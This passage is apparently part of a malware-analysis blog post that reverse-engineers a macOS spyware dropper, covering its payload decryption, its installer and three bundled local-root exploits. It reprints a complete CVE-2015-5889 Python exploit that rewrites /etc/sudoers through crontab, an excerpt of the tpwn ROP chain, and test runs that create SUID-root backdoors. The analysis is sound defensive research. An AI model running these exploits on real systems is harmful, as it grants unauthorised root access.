We can set a breakpoint at address 0x100001753 (remember that software breakpoint is triggered before instruction is executed - because the original instruction is replaced with int3 instruction) and modify the instruction pointer to address 0x100001DFA. We need to do it like this because the arguments are referenced as an offset of the frame pointer register rbp. If we had set the breakpoint at address 0x10000174F then the argc reference would be pointing to wrong memory. It is possible to do it this way, we just need to fix the rbp address to the right value (stack grows to lower addresses, so this would be current rsp value - 8). Easier to just breakpoint after the correct rbp is set.

Now back to tracing post NSApplicationMain execution.

There is no need to single step execution into NSApplicationMain. There are a series of delegates for NSApplication and at least one or two are usually implemented in normal applications. These delegates execute before the real application starts running, so we can breakpoint them to regain debugger control after the call to NSApplicationMain.

In this case applicationDidFinishLaunching: (doc) is the only delegate available. Right away we can observe interesting method names that we want to investigate.

IDA
__text:10000275C    push    rbp
__text:10000275D    mov     rbp, rsp
__text:100002760    push    r15
__text:100002762    push    r14
__text:100002764    push    r13
__text:100002766    push    r12
__text:100002768    push    rbx
__text:100002769    sub     rsp, 18h
__text:10000276D    mov     rbx, rdi
__text:100002770    mov     rdi, rdx        ; id
__text:100002773    call    cs:_objc_retain_ptr
__text:100002779    call    _objc_autoreleasePoolPush
__text:10000277E    mov     [rbp+context], rax
__text:100002782    mov     rsi, cs:selRef_removeOldResource ; SEL
__text:100002789    mov     r14, cs:_objc_msgSend_ptr
__text:100002790    mov     rdi, rbx        
__text:100002793    call    r14 ; _objc_msgSend ; -[appAppDelegate removeOldResource]
__text:100002796    mov     rsi, cs:selRef_expandPayload ; SEL
__text:10000279D    mov     rdi, rbx
__text:1000027A0    call    r14 ; _objc_msgSend ; -[appAppDelegate expandPayload]
__text:1000027A3    mov     rsi, cs:selRef_executeTrampoline ; SEL
__text:1000027AA    mov     rdi, rbx
__text:1000027AD    call    r14 ; _objc_msgSend ; -[appAppDelegate executeTrampoline]
__text:1000027B0    mov     rsi, cs:selRef_installPayload ; SEL
__text:1000027B7    mov     rdi, rbx        ; id
__text:1000027BA    call    r14 ; _objc_msgSend ; -[appAppDelegate installPayload]
__text:1000027BD    movsx   eax, al
__text:1000027C0    mov     [rbp+var_2C], eax
__text:1000027C3    mov     r15, cs:selRef_askUserPermission_
__text:1000027CA    mov     r12, cs:selRef_installPayload
__text:1000027D1    mov     eax, 464B731Fh
__text:1000027D6    jmp     short loc_1000027DD

At least two method names look interesting, expandPayload and installPayload. Amnesty report discusses an encrypted payload so this is a good clue and we definitely want to take a look at those methods.

The removeOldResource method cleans up the temporary payload environment. It uses the +[GIPath compressedPayload] class method to build the temporary path to this payload. On my High Sierra VM, the temporary path is /Users/username/Library/Caches/arch.zip, while in Amnesty report is /tmp/arch.zip.

id __cdecl +[GIPath compressedPayload](id a1, SEL a2)
{
  id v2; // rax
  id v3; // r14
  id v4; // rax
  id v5; // rbx

  // returns @"/Users/username/Library/Caches"
  v2 = +[GIPath systemTemp](&OBJC_CLASS___GIPath, "systemTemp");
  v3 = objc_retainAutoreleasedReturnValue(v2);
  v4 = objc_msgSend(v3, "stringByAppendingPathComponent:", CFSTR("arch.zip"));
  v5 = objc_retainAutoreleasedReturnValue(v4);
  objc_release(v3);
  return objc_autoreleaseReturnValue(v5);
}

The path to the extracted payload is built with +[GIPath expandedPayload] class method. In my case /Users/username/Library/Caches/org.logind.ctp.archive.

More interesting is the expandPayload method. This is where the encrypted payload is decrypted and extracted for later persistence installation in the target system. The encrypted payload is the data file found in Resources folder of the hidden application - ARA0848.app/Contents/Resources/data.

Without going too much into detail about this method, what it does is to decrypt the data payload to /Users/username/Library/Caches/arch.zip by XOR’ing with the key “NSString”, and then extract that ZIP file to /Users/username/Library/Caches/org.logind.ctp.archive.

Amnesty released a script to decrypt the payload but I couldn’t get it to work. Instead it’s just easier to recover the decrypted payload from memory or the extracted version from the filesystem.

The memory buffer for the decrypted version is allocated here:

IDA
__text:100002F88    call    r12 ; _objc_msgSend ; [NSConcreteData length]
__text:100002F8B    mov     rdi, rax        ; 0x0000000000158712
__text:100002F8B                            ; size of data payload (1410834 bytes)
__text:100002F8E    call    _malloc
__text:100002F93    mov     [rbp+var_58], rax

So we just need to set a breakpoint at address 0x100002F93, recover the value of rax register, and find where the decryption loop ends. We can also just find out where it tries to write the buffer to the filesystem and breakpoint there so we can copy it from the filesystem (in this case it’s not deleted right away, only later on).

A good place is here:

IDA
__text:100003080    call    r12 ; _objc_msgSend ; +[GIPath compressedPayload]
__text:100003083    mov     rdi, rax        ; /Users/username/Library/Caches/arch.zip
__text:100003086    call    _objc_retainAutoreleasedReturnValue
__text:10000308B    mov     r15, rax
__text:10000308E    mov     ecx, 1
__text:100003093    mov     rdi, r14        ; id
__text:100003096    mov     rax, cs:selRef_writeToFile_atomically_
__text:10000309D    mov     rsi, rax        ; SEL
__text:1000030A0    mov     rdx, r15        ; makes a copy of the decrypted payload here
__text:1000030A3    call    r12 ; _objc_msgSend ; [OS_dispatch_data writeToFile:atomically:]
__text:1000030A6    mov     rdi, r15        ; id

If we set a breakpoint at 0x1000030A6 we can just copy the decrypted archive /Users/username/Library/Caches/arch.zip from the filesytem.

We can now take a peek at the payload:

org.logind.ctp.archive
├── helper
├── helper2
├── helper3
├── installer
├── logind
├── logind.kext
│   └── Contents
│       ├── Info.plist
│       ├── MacOS
│       │   └── logind
│       └── Resources
│           └── en.lproj
│               └── InfoPlist.strings
├── logind.plist
└── storage.framework
    └── Contents
        ├── Info.plist
        ├── MacOS
        │   └── logind
        ├── PkgInfo
        └── Resources
            ├── 7f.bundle
            │   └── Contents
            │       ├── Info.plist
            │       ├── MacOS
            │       │   └── 7f
            │       └── Resources
            │           ├── 7FC.dat
            │           └── AAC.dat
            ├── 80C.dat
            ├── dataPkg
            └── logind.plist

13 directories, 19 files

Amnesty report describes two exploits but this version contains three. All the exploits are public, so no 0days here. Nothing like packaging free work and selling it for big bucks :-].

The third exploit is a public exploit by qwertyoruiop called tpwn. Comparing strings between helper3 binary and public source code:

Helper3

IDA
__cstring:00003ECB aProcUcred      db '_proc_ucred',0      ; DATA XREF: start+129C↑o
__cstring:00003ED7 aPosixCredGet   db '_posix_cred_get',0
__cstring:00003EE7 aChgproccnt     db '_chgproccnt',0
__cstring:00003EF3 aIorecursiveloc db '_IORecursiveLockUnlock',0
__cstring:00003F0A aZn10ioworkloop db '__ZN10IOWorkLoop8openGateEv',0
__cstring:00003F0A                                         ; DATA XREF: start+1DE3↑o
__cstring:00003F26 aZn13ioeventsou db '__ZN13IOEventSource8openGateEv',0
__cstring:00003F45 aEscalatingPriv db 'Escalating privileges! -qwertyoruiop',0Ah,0
__cstring:00003F45                                         ; DATA XREF: start+2138↑o
__cstring:00003F6B aIolog          db '_IOLog',0           ; DATA XREF: start+2150↑o
__cstring:00003F72 aThreadExceptio db '_thread_exception_return',0
__cstring:00003F8B aChmod06777S    db 'chmod 06777 %s',0
__cstring:00003F9A aChownRootWheel db 'chown root:wheel %s',0

Source code

    PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IORecursiveLockUnlock");
    PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
    PUSH_GADGET(stack) = heap_info[1].kobject+0xe0;
    PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
    PUSH_GADGET(stack) = JUNK_VALUE;
    PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
    PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN10IOWorkLoop8openGateEv");
    PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
    PUSH_GADGET(stack) = heap_info[1].kobject+0xe8;
    PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
    PUSH_GADGET(stack) = JUNK_VALUE;
    PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
    PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN13IOEventSource8openGateEv");
    
    PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)"Escalating privileges! -qwertyoruiop\n")
    PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IOLog");

    PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return");

They match and they didn’t even bother to modify the strings. Pathetic. Pfttttt!

All the exploits target macOS Yosemite or older, giving another potential clue about how old this version might be. The tpwn exploit is from 2015.

Let’s get back to applicationDidFinishLaunching analysis to understand how the exploits are used. After the payload is decrypted and extracted, the next executed method is executeTrampoline. Another three methods are referenced inside:

  • [appAppDelegate isAfterPatch]
  • [appAppDelegate launchNewStyle]
  • [appAppDelegate launchOldStyle]

The first to be executed is isAfterPatch. It verifies if the target system is on a given OS release or not. This is used to make the decision to execute new or old style exploits.

The launchOldStyle tries to execute the helper exploit. If Amnesty exploit reference is correct, this is a very old exploit written in 2010, tested against 10.8.X, and apparently fixed in 2013 or 2014.

We can test the original exploit against a Mountain Lion 10.8.5 VM:

bash
$ uname -an
Darwin mountain-lion-64.local 12.5.0 Darwin Kernel Version 12.5.0: Mon Jul 29 16:33:49 PDT 2013; root:xnu-2050.48.11~1/RELEASE_X86_64 x86_64

$ clang -o exploit exploit.m -framework Foundation -framework SecurityFoundation

$ ./exploit /bin/sleep /tmp/backd00r
Apple MACOS X < 10.9/10? local root exploit
by: <mu-b@digit-labs.org>
http://www.digit-labs.org/ -- Digit-Labs 2010!@$!

* Found Authenticator Class!
* found UserUtilities Class!
* authenticateUsingAuthorizationSync:authObj returned: 1
* now execute suid backdoor at /tmp/backd00r

$ ls -la /tmp/backd00r
-r-s--x--x  1 root  wheel  14080 Sep 28 03:24 /tmp/backd00r

$ /tmp/backd00r 60 &
[1] 495

$ ps u -p 495
USER   PID  %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND
root   495   0.0  0.0  2432748    464 s000  S     3:25AM   0:00.00 /tmp/backd00r 60

The exploit works as described. The source argument is copied to the selected target and made SUID root.

The helper binary contains this exploit in do_assistive_copy function but will ask for user permission if exploit fails. This good old social engineering dialog happens at do_ask_user_permission function.

nm
$ nm helper -s __TEXT __text 
(...)
0000000100003277 t _do_ask_user_permission
0000000100002470 t _do_assistive_copy
(...)

Let’s get back to launchOldStyle method to understand how helper is called.

The Objective-C code is something like this:

NSNumber *perm = [NSNumber numberWithUnsignedLong:0755];
NSNumber *user = [NSNumber numberWithUnsignedLong:0];
NSNumber *group = [NSNumber numberWithUnsignedLong:0];

NSDictionary *attr = [NSDictionary dictionaryWithObjectsAndKeys:
                        perm, NSFilePosixPermissions,
                        user, NSFileOwnerAccountID,
                        group, NSFileGroupOwnerAccountID,
                        nil];

NSFileManager *fm = [[NSFilemanager alloc] init];
// returns path to extracted zip payload + helper
NSString *helperPath = [GIPath trampoline];
[fm setAttributes:attr ofItemAtPath:helperPath error:nil];

NSTask *task = [[NSTask alloc] init];
// returns path to extracted zip payload + helper
NSString *launchPath = [GIPath trampoline];
[task setLaunchPath:launchPath];

// returns path to extracted zip payload + installer
NSString *installerPath = [GIPath installer]
// returns path to extracted zip payload
NSString *payloadPath = [GIPath expandedPayload];
NSArray *args = [NSArray arrayWithObjects:installerPath, payloadPath, nil];

[task setArguments:args];
[task launch];
[task waitUntilExit];
int status = [task terminationStatus];

The helper binary is called with arguments /Users/username/Library/Caches/org.logind.ctp.archive/installer (part of the extracted payload) and /Users/username/Library/Caches/org.logind.ctp.archive (the extracted payload folder path). The original exploit requires the target file, this version just the path.

With this information we can test the helper binary in a vulnerable virtual machine:

bash
$ ./helper /bin/sleep /tmp/
$ ls -la /tmp/sleep 
-rwsrwsrwx  1 root  wheel  14080 Sep 28 05:24 /tmp/sleep

But if we execute it in a non-vulnerable macOS version:

bash
$ ./helper /bin/sleep /tmp/
2020-09-28 05:26:48.452 helper[2234:193615] ### No entitlement for SystemAdministration !!!
2020-09-28 05:26:48.460 helper[2234:193620] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4097 "connection to service named com.apple.systemadministration.writeconfig" UserInfo={NSDebugDescription=connection to service named com.apple.systemadministration.writeconfig}

If the exploit fails we get a prompt to insert the password aka do_ask_user_permission is executed:

ask user permission

But in this case the argument logic is a bit different. The first argument is the target binary to modify permissions (the exploit instead makes a copy and then modifies the permissions in the copy).

bash
$ cp /bin/sleep /tmp
$ ls -la /tmp/sleep 
-rwxr-xr-x  1 reverser  wheel  18080 Sep 28 18:39 sleep

$ ./helper_patched /tmp/sleep /tmp
(Insert password interruption...clicky click)
$ ls -la /tmp/sleep
-rwsrwsrwx  1 root      wheel  18080 Sep 28 18:39 sleep

In this case I patched helper_patched to bypass the do_assistive_copy exploit and go directly to the do_ask_user_permission method. The patch is just remove the call and replace with code to set eax to 1.

IDA
__text:10000242C E8 3F 00 00 00    call    _do_assistive_copy ; 0 on success, 1 on failure
__text:100002431 48 8B 4D B8       mov     rcx, [rbp+var_48]
__text:100002435 89 01             mov     [rcx], eax      

In a vulnerable system the exploit will make /Users/username/Library/Caches/org.logind.ctp.archive/installer binary SUID root so it can run with higher privileges for persistence installation purposes.

This binary has the same name as the initial dropper but it’s a stripped down version (no unzip capabilities, no anti-debugging/anti-vm, no exploit usage) used to install system persistence.

Let’s continue analysis of the other exploits.

The launchNewStyle method will try to execute the helper2 exploit. The exploit is the following Python script:

# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

from sys import argv
script, param = argv

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

#sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:      
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
        sys.stderr.write("failed\n")
        sys.exit(-1)

#sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
#       sys.stderr.write(".")   
        time.sleep(1)

#sys.stderr.write("\ndone\n")

my_command = "sudo chmod 06777 %s & sudo chown root:wheel %s" % (param, param)
os.system(my_command)

The exploit argument is the target to modify to SUID root if exploit is successful. In this case it will be the installer binary inside the extracted payload, as the previous exploit.

If the exploit was successful, the method will return one, zero otherwise.

Running against Mountain Lion 10.8.5 system:

bash
$ cp /bin/sleep /tmp
$ ls -la /tmp/sleep 
-rwxr-xr-x  1 reverser  wheel  14080 Sep 28 19:45 /tmp/sleep
$ python helper2 /tmp/sleep 
failed

Running against a vulnerable Mavericks 10.9.5 system:

bash
$ cp /bin/sleep /tmp
$ ls -la /tmp/sleep 
-rwxr-xr-x  1 reverser  wheel  14080 Sep 28 19:47 /tmp/sleep

$ python helper2 /tmp/sleep
(wait a minute for next crontab execution)
$ ls -la /tmp/sleep 
-rwsrwsrwx  1 root  wheel  14080 Sep 28 19:47 /tmp/sleep

The exploit leaves (too many) traces in the target system and no code (as far as I can see) exists to clean it up:

bash
$ sudo tail /etc/sudoers 
# %wheel    ALL=(ALL) NOPASSWD: ALL

# Samples
# %users  ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users  localhost=/sbin/shutdown -h now
ALL ALL=(ALL) NOPASSWD: ALL
ALL ALL=(ALL) NOPASSWD: ALL
ALL ALL=(ALL) NOPASSWD: ALL
ALL ALL=(ALL) NOPASSWD: ALL
ALL ALL=(ALL) NOPASSWD: ALL

$ sudo tail /etc/crontab
'
rlogin(876,0x7fff7a2c4310) malloc: stack logs being written into /tmp/stack-logs.876.1002df000.rlogin.Ers4v2.index
rlogin(876,0x7fff7a2c4310) malloc: recording malloc and VM allocation stacks to disk using standard recorder
rlogin(876,0x7fff7a2c4310) malloc: stack logs deleted from /tmp/stack-logs.876.1002df000.rlogin.Ers4v2.index
rlogin(1038,0x7fff7a2c4310) malloc: MallocStackLoggingDirectory env var set to unwritable path 'a
* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

There are no references to helper3 exploit, so it might have been packaged by mistake or waiting for updated dropper, or just a replacement for helper2 exploit.

This ends up the analysis of executeTrampoline method called from applicationDidFinishLaunching.

The next method is -[appAppDelegate installPayload]. If everything went as expected up to this moment, the dropper was able to extract its payload to /Users/username/Library/Caches/org.logind.ctp.archive/ folder and managed to set the installer binary SUID root. The -[appAppDelegate installPayload] method will just execute the SUID binary responsible for persistence installation.

har __cdecl -[appAppDelegate installPayload](appAppDelegate *self, SEL a2)
{
  NSTask *v2; // rax
  NSTask *v3; // r14
  id v4; // rax
  id v5; // rbx

  sleep(2u);
  // NSTask *task = [[NSTask alloc] init];
  v2 = objc_msgSend(&OBJC_CLASS___NSTask, "alloc");
  v3 = objc_msgSend(v2, "init");
  // retrieve path to SUID binary: /Users/username/Library/Caches/org.logind.ctp.archive/installer
  v4 = +[GIPath installer](&OBJC_CLASS___GIPath, "installer");
  v5 = objc_retainAutoreleasedReturnValue(v4);
  // set the binary to execute
  objc_msgSend(v3, "setLaunchPath:", v5);
  objc_release(v5);
  // execute the binary
  objc_msgSend(v3, "launch");
  // wait for its exit
  objc_msgSend(v3, "waitUntilExit");
  LOBYTE(v5) = (unsigned int)objc_msgSend(v3, "terminationStatus") == 0;
  objc_release(v3);
  return (char)v5;
}

As I wrote before, this installer is kind of a stripped down version of the dropper. Its hash is ac414a14464bf38a59b8acdfcdf1c76451c2d79da0b3f2e53c07ed1c94aeddcd.

The last method to be executed by the dropper is -[appAppDelegate removeTraces]. It simply removes the decrypted zip file, the extracted payload folder, and the malicious application where the dropper was executed from. This will be executed whether installPayload is successful or not.

This closes the analysis of the main dropper binary. Next is the SUID installer to understand the persistence operations. That’s chapter 2.

Have fun,
fG!

P.S.: Sorry for the ugly code highlighting, I need to customize a better theme.